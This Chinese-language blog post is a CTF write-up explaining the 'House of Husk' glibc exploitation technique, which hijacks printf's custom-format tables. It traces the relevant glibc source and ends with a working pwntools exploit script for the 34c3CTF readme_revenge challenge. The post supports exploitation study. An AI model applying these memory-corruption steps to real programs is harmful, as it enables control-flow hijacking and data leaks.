Featured image of post House of husk&&34c3CTF readme_revenge

House of husk&&34c3CTF readme_revenge

本文参考了下面两篇文章

https://xz.aliyun.com/news/14821

https://zikh26.github.io/posts/6c83c2a2.html

介绍:house of husk是对printf函数内部进行注册自定义格式化字符串函数的指针进行劫持,glibc 2.23-2.35该手法均可用

原理

执行printf函数时,__printf_function_table 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针,在这期间并没有进行任何地址的合法性检查

那我们如果劫持__printf_function_table非空,劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是 backdoor(),在执行printf函数时就可以劫持程序执行流到backdoor()

利用方法

  • __printf_function_table 和__printf_arginfo_table 分别写为 chunk A 和 chunk B 的地址
  • 设占位符为 α,此时 chunk B 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

spec是格式化字符串,比如最后调用的是printf("%X\n",a)那么应该将__printf_arginfo_table[88]的位置写入backdoor(),其中88是ord(‘X’)

  • 该技巧一般和 largebin attack或unsortedbin attack 结合起来
  • 还可以使用relative overwrite
  • 还有一个__printf_va_arg_table 也是可以利用的,但是条件比较苛刻

Relative overwrite

1首先利用largebin attack或unsortedbin attack修改gloabl_max_fast(定义了 fastbin 能够处理的 chunk 最大大小)

fastbinsY数组位于main_area中,当free一个chunk时,会向fastbinsY数组中写入地址

2如果修改了gloabl_max_fast,释放是个大chunk时就会造成数组越界从而向两个table中写入堆地址

源码解析

链条为下面五个部分

printf->vfprintf
vfprintf->do_positional
do_positional->printf_positional
printf_positional->__parse_one_specmb(该函数执行自定义格式化字符对应的函数指针)

__parse_one_specmb->anyaddr

__register_printf_function函数

格式化字符的注册函数,实际上是__register_printf_specifier函数的封装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)   #UCHAR_MAX=0xff
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
    {
      result = -1;
      goto out;
    }

      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}

先做了一个判断 判断spec是否存在ascil码,再判断printf_function_table == NULL 就设定一个calloc来分配两个索引表,并将地址存放到 __printf_function_table和 __printf_arginfo_table中,两个表大小都是0x100可以给0x0-0xff每个字符注册一个函数指针

printf->vfprintf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int
__printf (const char *format, ...)
{
    va_list arg;
    int done;

    va_start (arg, format);
    done = vfprintf (stdout, format, arg);
    va_end (arg);

    return done;
}

vfprintf->do_positional

1
2
3
4
5
/* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

这里检查三个table,只要有一个非空就执行do_positional

通常劫持的是__printf_function_table

do_positional->printf_positional

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

......

do_positional:
  if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);

调用了printf_positional函数

printf_positional->__parse_one_specmb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
           va_list ap, va_list *ap_savep, int done, int nspecs_done,
           const UCHAR_T *lead_str_end,
           CHAR_T *work_buffer, int save_errno,
           const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
---------------------------------------

      /* Parse the format specifier.  */
#ifdef COMPILE_WPRINTF
      nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
      nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif//调用__parse_one_specmb
    }

  /* Determine the number of arguments the format string consumes.  */
  nargs = MAX (nargs, max_ref_arg);

__parse_one_specmb->anyaddr

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
            struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
            struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
  unsigned int n;
  size_t nargs = 0;

  /* Skip the '%'.  */
  ++format;
-----------------------------------关键代码
if (__builtin_expect (__printf_modifier_table == NULL, 1)
    || __printf_modifier_table[*format] == NULL
    || HANDLE_REGISTERED_MODIFIER (&format, &spec->info) != 0)

...
    
if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    /* We don't try to get the types for all arguments if the format
uses more than one.  The normal case is covered though.  If
the call returns -1 we continue with the normal specifiers.  */
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
           (&spec->info, 1, &spec->data_arg_type,
            &spec->size)) < 0)

34c3CTF readme_revenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d

  _isoc99_scanf((unsigned int)&I010s, (unsigned int)&name, (_DWORD)envp);
  printf((unsigned int)"Hi, %s. Bye.\n", (unsigned int)&name, v3, v4, v5, v6);
  return 0;
}

程序是静态编译的,flag直接储存在data段,且house_of_husk相关的俩个table地址均比name高,可以修改__printf_function_table非空,__printf_arginfo_table为任意地址A满足*(A+8*0x73)=_stack_chk_fail_local地址

最后把__libc_argv[0]地址改为flag地址

1
2
调用_stack_chk_fail_local时 会打印出 __libc_argv[0] 指向的字符串
该题中 __libc_argv[0]地址也比name高

1

只修改上述两个table会触发__parse_one_specmb中的下面代码

1
2
3
if (__builtin_expect (__printf_modifier_table == NULL, 1)
    || __printf_modifier_table[*format] == NULL
    || HANDLE_REGISTERED_MODIFIER (&format, &spec->info) != 0)

需要控制__printf_modifier_table为空,__printf_modifier_table地址为__printf_function_table地址+8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context(log_level='debug',arch='amd64')
p=process('./pwn')
#%s is 0x73
arg_table=0x6b7aa8    #distance fun_table 0x80
fun_table=0x6b7a28#distance 0x648
name=0x6B73E0
flag=0x6b4040
#__printf_modifier_table 位于 __printf_function_table 地址加 8 的位置
libc_argv=0x6b7980 #distance  0x5a0
#__stack_chk_fail_local
leak=0x4359B0
pay=p64(flag)+b'a'*0x598
pay+=p64(name)#libc_argv[0]
pay+=b'a'*(0x648-0x5a0-8)+p64(0xdeadbeef)#fun_table
pay+=p64(0)#__printf_modifier_table
pay+=b'a'*0x70
pay+=p64(arg_table)
pay+=p64(0)*0x72+p64(leak)
gdb.attach(p,'b *0x400A5C')
p.sendline(pay)
p.interactive()
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计